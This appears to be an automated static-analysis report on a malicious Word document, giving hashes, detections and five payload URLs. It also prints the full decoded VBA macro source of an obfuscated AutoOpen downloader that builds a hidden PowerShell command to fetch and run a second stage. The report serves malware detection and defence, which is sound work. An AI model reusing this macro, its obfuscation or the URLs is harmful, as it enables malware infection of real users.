Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a8bb33df02b5a1c2…

MALICIOUS

Office (OLE)

215.5 KB Created: 2018-07-04 08:08:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 4e81892b4784683b46de84e2afd4dac6 SHA-1: d4c2f2923e6b50d2e2c605d93df9d10a30b2e135 SHA-256: a8bb33df02b5a1c292afa4f8bd183cf0ccb64f8d483dcf1e251ccd7ffeb88eba
330 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Microsoft Word document containing VBA macros. Critical heuristics indicate the use of WScript.Shell and CreateObject, suggesting the execution of arbitrary commands. The AutoOpen macro is present, which is commonly used to initiate malicious activity upon document opening. This activity is likely to download and execute a second-stage payload, consistent with a downloader malware.

Heuristics 10

  • ClamAV: Doc.Downloader.Valyria-7143518-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-7143518-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
       YWbad = UTUnh - FuJjjC + (70254 * Ghbqj)
zLXpEXGbz = daiWHVKDiPM + CreateObject("Wscript.shell").Run(Anija + Chr(vbKeyP) + mDpaLP + Chr(vbKeyO) + WCwztAJqoYVnI + zXwFoOovO, 204416489 - 204416489)
   cIrukr = OwdjI - hXfuA + (80979 * ooARGD)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
       YWbad = UTUnh - FuJjjC + (70254 * Ghbqj)
zLXpEXGbz = daiWHVKDiPM + CreateObject("Wscript.shell").Run(Anija + Chr(vbKeyP) + mDpaLP + Chr(vbKeyO) + WCwztAJqoYVnI + zXwFoOovO, 204416489 - 204416489)
   cIrukr = OwdjI - hXfuA + (80979 * ooARGD)
  • Payload URL decoded from an encoded PowerShell loader (5 URLs) high OLE_VBA_ENCODED_PS_DROPPER_URL
    A VBA macro assembles (from literals scattered across helper functions) a WScript.Shell command that runs a PowerShell stage-2 loader whose download URL is hidden in a numeric char-code array — decoded at runtime by [char]($_ -bxor k) (or +k / -k) after splitting on obfuscated delimiters. The decoded hosts (often an @-separated fallback list dropped to %TEMP% and executed) are the next-stage payload URLs, never contiguous on disk; surfaced as IOCs. Self-validating: only a transform yielding a valid host URL is reported.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "wsnPPRzTBj"
Sub AutoOpen()
On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://soportek.cl/DNWbs6/ Referenced by macro
    • http://zonedeux.com/hZRNr9j/Referenced by macro
    • http://positivebusinessimages.com/uLRePdnDv/Referenced by macro
    • http://www.arabiantravelhouse.com/2QpUykN/Referenced by macro
    • https://www.voice.a1radio.ru/H3DPsvrXtK/Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10571 bytes
SHA-256: da7a73b8a291b7eb823b47b2bf31cc7d806a1e70d30057ee9bc769d06a694496
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "zsBfRnJ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "wsnPPRzTBj"
Sub AutoOpen()
On Error Resume Next
   GrqsJT = AJXWav * GnvMh / 51089 * anKFY / iwGdYm / hvjaH / 15342 * wMQHjD / 58274 - bwfaJ / jDjmlr * EDtwnY
   fhjEF = SYIWPR * DSfEjh / 66577 * JtCzH / tKNdIh / wboMWN / 15221 * AWfWL / 77209 - XSRbHw / niGwm * OusHj
   ikVWoV = JnwmY * TLnlY / 64761 * SBiwQ / uGDBf / DViiKz / 5954 * CavwA / 28368 - baNrJ / RchCWG * bBFmS
   VBpccn = fEsGl * BzTfpJ / 42745 * mszjo / iaBVId / tRmwl / 7559 * wNkaQX / 10194 - IVQcwa / Isvnwr * CXzIp
   uXjVW = FXqqcw * AWwGCs / 61512 * woLTM / PWVVzN / OcrSpX / 61982 * oThNA / 91590 - LiWZHw / jXCKip * VUfiU
   VqbuDG = EljfnP * PVVFz / 64749 * kEwksw / IWZuOz / CbzWd / 20896 * ijGuPA / 81407 - zboLE / miJKJw * PKlYSn
   KGVEZu = OXCZV * PVHwwd / 69841 * sAnWQ / sJWJsi / IUdaA / 28677 * SjdNQu / 54504 - wvzJna / FiiIF * EAthq
   HAdXzP = iMXZF * MJMbJ / 66370 * dqOvsr / XNfjj / AViSXC / 89943 * rGiIcm / 87807 - sZkww / QmhfF * dVjnt
zDnnwLNwlvW (DramiGhoq + ZVsvFC)
   ERwiY = PoSAs * wvpFHI / 97332 * kIHHil / kzQoi / NjABF / 34168 * aSTPBb / 50502 - HHXvFj / vJrvm * ipBMJ
   nIwIXp = aERVCM * Bwowdh / 37160 * BNsiYV / HEqwIa / uWAzJA / 65813 * vsmiX / 77175 - zjpJq / lPtRY * zNfEEU
   uGnNVz = HVdFL * WKqzX / 11366 * QsTQip / OTwCff / wFrIE / 14802 * qOuwwf / 36311 - iVHcnV / mWjfJ * oWaajt
   FzqTw = aiZUfJ * YodvC / 83697 * zSUZYw / BrTWS / ukfini / 3552 * WNCDVl / 27319 - tfXpE / niRuzd * mGzMX
End Sub

Function DramiGhoq()
On Error Resume Next
QjOaF = MvqAD / FDvQv - pFMlsA + HiHHXX / 71647 + nsuBj
   DjrNN = dDOiM / tuFVob - jhwzjD + zWUdYK / 85412 + KGNMWj
   YaLOn = kvPKL / CjHmI - bPGil + CCNkz / 15669 + EGiIWl
   aOLjMI = nKlmiX / cKMbu - pFZkv + bppbhz / 60070 + lzmCi
pQzPocf = "wers" + "hell    " + "         " + "     -JO" + "In " + Chr(40) + "'" + "123D42_5" + "9a18s98_" + "49C5" + "8G40_114"
EcYwPa = pIZcR / FcUzMq - hZscrr + mDsWh / 51864 + STVDLj
   EKzRp = EUiNH / BjjoSt - PLkNIa + HKUDG / 14015 + NtZHWc
   Nznzt = OfmXnf / EETzpq - wtzbG + tonJjv / 31707 + BMwPO
   StGLMj = CYJqiT / jIfnNi - jFoSdR + SKAPP / 22440 + LFZjT
PtQQj = "n48_61G" + "53D5" + "8n60r" + "43C127" + "D17s58<4" + "3D113_8" + "_58C61_2" + "8n51a" + "54X5"
ddHnsY = anbYLs / jvuzdZ - pIzWG + oGjjt / 70146 + KFvqj
   bEEWim = FYojZ / mVRSPL - YbYYhR + ORolFA / 55927 + GTPlPm
   QwYZwO = nLdSHE / jjoNEt - jCiZUp + zCiwB / 75038 + ZzITT
   EjNhOQ = hhNkZ / SikvF - KYmQC + qomIzw / 2924 + Edtiu
imAmwEdFG = "8D49_43s" + "100r12" + "3_22" + "C25_40G98" + "r120" + "r55D43r" + "43D47X10" + "1_112" + "_112C44"
QMBjj = CZLvrE / fGGBrm - RlRkFw + Cnioh / 7665 + iRAhO
   JcbXDq = Wknau / iVCfbJ - FEdApI + QImNi / 77353 + AqfXak
   OpMdY = zPcDSb / VEwah - iBNwZv + HiiXH / 1464 + bqPRX
   roKaFk = qfdEI / uBoUHQ - HJTHvi + ZlaAES / 63875 + kfitlz
juitZERWRu = "a48_47X4" + "8n45a43G5" + "8n52<1" + "13r60" + "X51D112r" + "27G17s8G6" + "1s44a105s" + "112n31r" + "55D43D" + "43s47"
sJvQD = NQzVTE / PXXiV - pKHuh + UKELBl / 12700 + rLKXO
   fwjSpP = PQAXi / bAswO - cSqTiP + wXzPo / 30564 + pIhQS
   rIlJBR = MAHwo / zVTocE - TTiPB + HPRTT / 54374 + XoThhS
   shvmmT = UTVpY / oziuRa - dAljHK + ZBoFT / 54165 + pkqiz
nKsRqBR = "s101C" + "112D11" + "2s37D" + "48X4" + "9<58_59" + "_58n42D39"
VZvUTj = acmzY / ojvlqQ - wmPtjh + Ghmow / 80646 + vFrDW
   hZDwDu = ahhoa / ImcJpl - LmUwJ + QZBrlj / 89909 + hCfTF
   jKjMf = RrdjYC / UnuEGn - inYpw + ffbkz / 81606 + bmBGIQ
   awqRv = OQNAQp / ZcDkO - bjQJF + kNtUEN / 194 + JirTp
PPCRvmiVzmv = "X113" + "G60r48G5" + "0s112" + "n55C5a1" + "3X17s45C1" + "02X53_" + "112_31s5" + "5s43" + "G43X4" + "7a101r" + "112D"
oZQMh = GdwYFc / swiwhz - VSSYM + wXiRi / 26932 + zDiYQi
   KXWLq = YEAaL / pSkwGM - rkpmC + nhvoQ / 76408 + iuaOu
   CTZziz = fNQjHS / WjWVlT - DpcPjn + NvrWC / 42143 + sSnHo
   CFCom = KvvqP / sphjJ - llQvs + zBiYsb / 7319 + UDYtja
XqbFhO = "112D" + "47n48" + "<44X54C4" + "3r54a" + "41s58r61_" + "42D44r54<" + "49G58" + "G44s" + "44s5"
ZLPTJz = QiVBFb / pZvwui - jncID + sjDKC / 43692 + jLwza
   LQvdG = zjYjP / jwjhh - OznsIp + uANSK / 13304 + zhYilM
   NfIvZQ = ihDVOq / ijTHF - LSjON + jGBYA / 93380 + JATiw
   jiOWmu = cLOVFH / AWGsAc - jwjpr + cpTFjz / 26779 + nDvlRd
SLukoQhUAO = "4C50r" + "62n56_" + "58G44" + "r113r6" + "0G48C50" + "X112" + "r42_1" + "9X13X58" + "<15<59<49" + "C27r41X"
nBzVr = AtkSS / hzmlTN - ZXWoJ + jhJXF / 84567 + izBom
   oiHMww = SIoqnI / UtMZaa - lVSCH + BGwrH / 41195 + VbPrn
   XjZPHq = HBkES / baDIp - oplMM + iSzSsd / 41405 + wDVLFK
   QIBlA = ZRjkE / jOjpX - KGXDjb + ziDwd / 56038 + VdRrhC
WnVkiZHWZ = "112s31" + "s55C4" + "3C43r47" + "s101G112r" + "112X40n40" + "X40D113C" + "62X45G6" + "2n61r54D" + "62<49a43" + "X45r6" + "2G41<" + "58_51"
rQWWZt = cLfNWr / jvqZF - hTNki + ENXTQv / 26606 + sUITAD
   nkEvu = EEuQsI / bvbLiq - haJGE + NTYEqu / 78459 + YGLNz
   RbjzDb = WDBhR / zdNaz - GklfpZ + UfCpQw / 63667 + kFuKCd
   UXhYMA = ComLS / zmloQ - qPIsr + faPwj / 95882 + zdtwrz
tzZMGEKiX = "n55r48X42" + "s44X5" + "8a113G60" + "D48n50a1" + "12_109" + "D14a47r1" + "0G38C52r1" + "7G112"
jVrIu = ZDBtNO / EYZzt - vwcCuc + NYQjsX / 94229 + pBcJDm
   NPjzr = USWfLO / zAvlTd - sXhLu + OwwEhu / 44266 + rbiSQ
   wsPrNn = ibHvmQ / QqiUEz - XTSwQ + fFYNTD / 5521 + zHpzH
   CrKDcq = EKDkwV / YClnop - FrORIM + LmWZB / 57719 + bDhGuS
BuFPS = "C31a55_" + "43n4" + "3D47" + "X44D10" + "1r112D1" + "12a40r40" + "<40D11" + "3_41C48n" + "54a6" + "0<58G113"
skipjw = 23300 - pjDiG * dTjTnu - bpIAFn
   cDfzF = wzaJwA / PETwj - RBmSA + RiPXwn / 79341 + dVYXu
   Hqitf = 91734 - JMBcv * DTfHdo - KvpNf
   zPYqZ = 93513 - lXlif * tVQqli - oHjci
rtTojzf = "C62n1" + "10<45" + "<62X5" + "9s54a48X" + "113_" + "45X42D11" + "2a23n10" + "8X27s" + "15a44G41" + "D45s7a" + "43_20a" + "112G1"
DramiGhoq = pQzPocf + PtQQj + imAmwEdFG + juitZERWRu + nKsRqBR + PPCRvmiVzmv + XqbFhO + SLukoQhUAO + WnVkiZHWZ + tzZMGEKiX + BuFPS + rtTojzf
   suRrX = 47958 - hAonS * qqbCjZ - ctlKa
   LLAUN = 83987 - RbXVj * qOncdW - nrPVa
   aUwfud = 92409 - WBivXk * kIuMIS - zFXTau
   vRuapa = 17050 - rifiQO * MsJzGK - MCfXi
End Function
Function ZVsvFC()
On Error Resume Next
TWAmT = 2737 - iWfFK * iGWhHN - nBMobw
   zVqHa = 5746 - jdGQD * LdCIF - pTkIi
   fklzPN = 24295 - rCJEfz * mvmcL - spYBX
   jAsbw = 18233 - QEZAq * NkQSMk - wjNYa
tJokGm = "20D113" + "r12n47s5" + "1n54n43s1" + "19r1" + "20s31s" + "120X118s1" + "00_123X" + "40G16G59"
FFOLQ = 8526 - anXwRs * mBLwu - sAQQpO
   VmvMz = 83662 - tPqQqD * SnHpc - hIWIRn
   NQnvJB = 9579 - FiFSQb * MohJsw - qqAcb
   kSKMLX = 73714 - raSISz * rfRRKP - NEwzG
oTsDiGTqz = "G127r98" + "n127C12" + "0a106X1" + "03G109D1" + "20r1" + "00r123" + "G53r5" + "9s9r" + "98_12" + "3X58"
fdqPXn = 35196 - OZjTF * XdSuzo - qsKQw
   wawvjZ = 78569 - zQtBM * BZRjrz - iofCin
   lRszm = 33721 - JSXzt * BioRz - wrCMFA
   EpzVC = 35744 - zqcRrD * nlSwhq - bwhwOA
JYzICsLw = "_49X4" + "1X101_43" + "n58G50X" + "47r116<12" + "0X3X120C1" + "16_123n40" + "G16G" + "59D11" + "6D120" + "C113n58<3"
zzmAc = 61748 - Lkbfh * mzDjX - UvALu
   DajEn = 94187 - lnTDzL * BnIFzu - ZNjRI
   DJiMz = 75151 - kRwDmE * qMMIoJ - dJpDUW
   Xpkjw = 48668 - OoiUw * QAjKP - lMYDjE
IKBzjGnhHP = "9X58s" + "120C" + "100_57r48" + "s45<58a" + "62_60n55<" + "119n1" + "23_5<49" + "r45_1" + "27_54r4" + "9X127C1" + "23X22" + "C25G40s"
ZnLcN = 47774 - ilzRO * hDiREa - kBFzqI
   urazpJ = 58444 - HkRKC * YFick - GroiFJ
   pCDvu = 61564 - TNfkdS * dkJShS - phmwLj
   KCbznr = 9146 - ovMuSB * KChtd - lPQXa
hRNomLvkVf = "118n3" + "6C43a" + "45<3" + "8a36C123" + "D42G59D" + "18a113n" + "27C48C4" + "0s49<51_"
zVmQO = 46372 - AqYumQ * PjEmc - cvXlj
   AVQwiz = 19215 - aTIQui * wKASct - CUslBi
   SvGzw = 52523 - sGWLM * piJRD - GIsMEE
   hNlEh = 29044 - UAjOf * cKInjw - CvzXjz
cEtVXiofjs = "48a62D5" + "9s25G5" + "4r51<58a1" + "19X123D" + "5<49" + "n45_115" + "s127C12" + "3r53n59" + "C9C118r1" + "00_12s43G"
TEfijP = 90296 - OifRkF * LYIRoH - OCzOOb
   kqFaj = 4250 - tiBFqH * cTwFPf - rrZnZc
   zjmJaI = 32916 - DEFMzj * iPXlR - cvZvn
   cBzBkv = 76479 - uQpstW * OdOior - zSWAf
jMwiMtjIbk = "62r45D43<" + "114a1" + "5G45a48D" + "60D58a44" + "G44r127" + "D123X53" + "X59s9X1" + "00<6" + "1r45a58a"
TIdKk = 13276 - KONXhr * tpsCjX - zsazUh
   lMOmP = 95190 - YaWzE * KDkFBM - QWRiw
   IHPuk = 77203 - OjvvBw * UhlTZf - udXfK
   jpciUA = 36886 - cSRfV * YnwlU - RaLSuN
nEDmfQ = "62C52G10" + "0s34C60D" + "62C4" + "3r60a5" + "5C36C34" + "r34'.sPL" + "iT" + Chr(40) + " '<rG" + "Ca_XnDs" + "'" + Chr(41) + "| f" + "OreACH-o"
Msfsq = 96265 - fOprAq * Itwjj - SctWaI
   NdrOZZ = 19516 - FlLvz * FUNlio - FkVwm
   tmIsVS = 75381 - noCZw * wdUzE - RHXWif
   WQDLP = 48399 - zkWIH * hnjGq - ZXrYMN
jnmsjCLzY = "BJeCT" + " {[CH" + "ar]" + Chr(40) + "$_ " + "-bxor 0" + "x5F " + Chr(41) + " }" + Chr(41) + " |. " + Chr(40) + " $vERBOs"
ptQpo = 81530 - VIHLEK * ZnXqs - jLUsp
   UlPlOq = 20520 - QHwMbT * iodzOK - NYpzl
   qwRFV = 81241 - widMK * ilAniQ - bWVsK
   kwJRiP = 16350 - zDcJfu * mCUFac - FtcuYL
cjmrSqEjATP = "EPRef" + "eRenC" + "e.tOsT" + "rInG" + Chr(40) + Chr(41) + "[1,3]" + Chr(43) + "'" + "X'-j" + "oiN''" + Chr(41) + ""
ZVsvFC = tJokGm + oTsDiGTqz + JYzICsLw + IKBzjGnhHP + hRNomLvkVf + cEtVXiofjs + jMwiMtjIbk + nEDmfQ + jnmsjCLzY + cjmrSqEjATP
   cdsZs = 66634 - tnlBO * jMIXj - trohr
   ItzUa = 48664 - JAYipp * Naado - XMsnwi
   owBJV = 93376 - AdWzL * NoKClz - aWJsi
   ufdYXz = 54290 - DYojmI * DAFhB - CGlqE
End Function


Attribute VB_Name = "kLpDBqHJSps"
Function zDnnwLNwlvW(WCwztAJqoYVnI)
On Error Resume Next
   waGFR = obuBzJ - hwwXw + (87606 * LZNpYo)
   LOcrs = ciooqK - fiwcR + (6050 * ApjSEW)
   HVfJn = miEii - ZUDnu + (59761 * jKDtL)
   KdtZN = hcWhF - rKnhD + (83884 * paUXH)
   VtqGln = FQXSid - BhvnzA + (93072 * iRkKMQ)
   TKQFED = TqdstF - RAvCnz + (47617 * UUCHM)
   wDzqwz = mlHRzL - YkITdA + (76857 * OJMjh)
   YWbad = UTUnh - FuJjjC + (70254 * Ghbqj)
zLXpEXGbz = daiWHVKDiPM + CreateObject("Wscript.shell").Run(Anija + Chr(vbKeyP) + mDpaLP + Chr(vbKeyO) + WCwztAJqoYVnI + zXwFoOovO, 204416489 - 204416489)
   cIrukr = OwdjI - hXfuA + (80979 * ooARGD)
   BXpni = QhOPj - TvPFPU + (74275 * vtPhcJ)
   VHIIL = PoYXU - wGhTbi + (23127 * wXOUj)
   aJnIZo = orGoVV - EswIaF + (83349 * GVYiuk)
End Function

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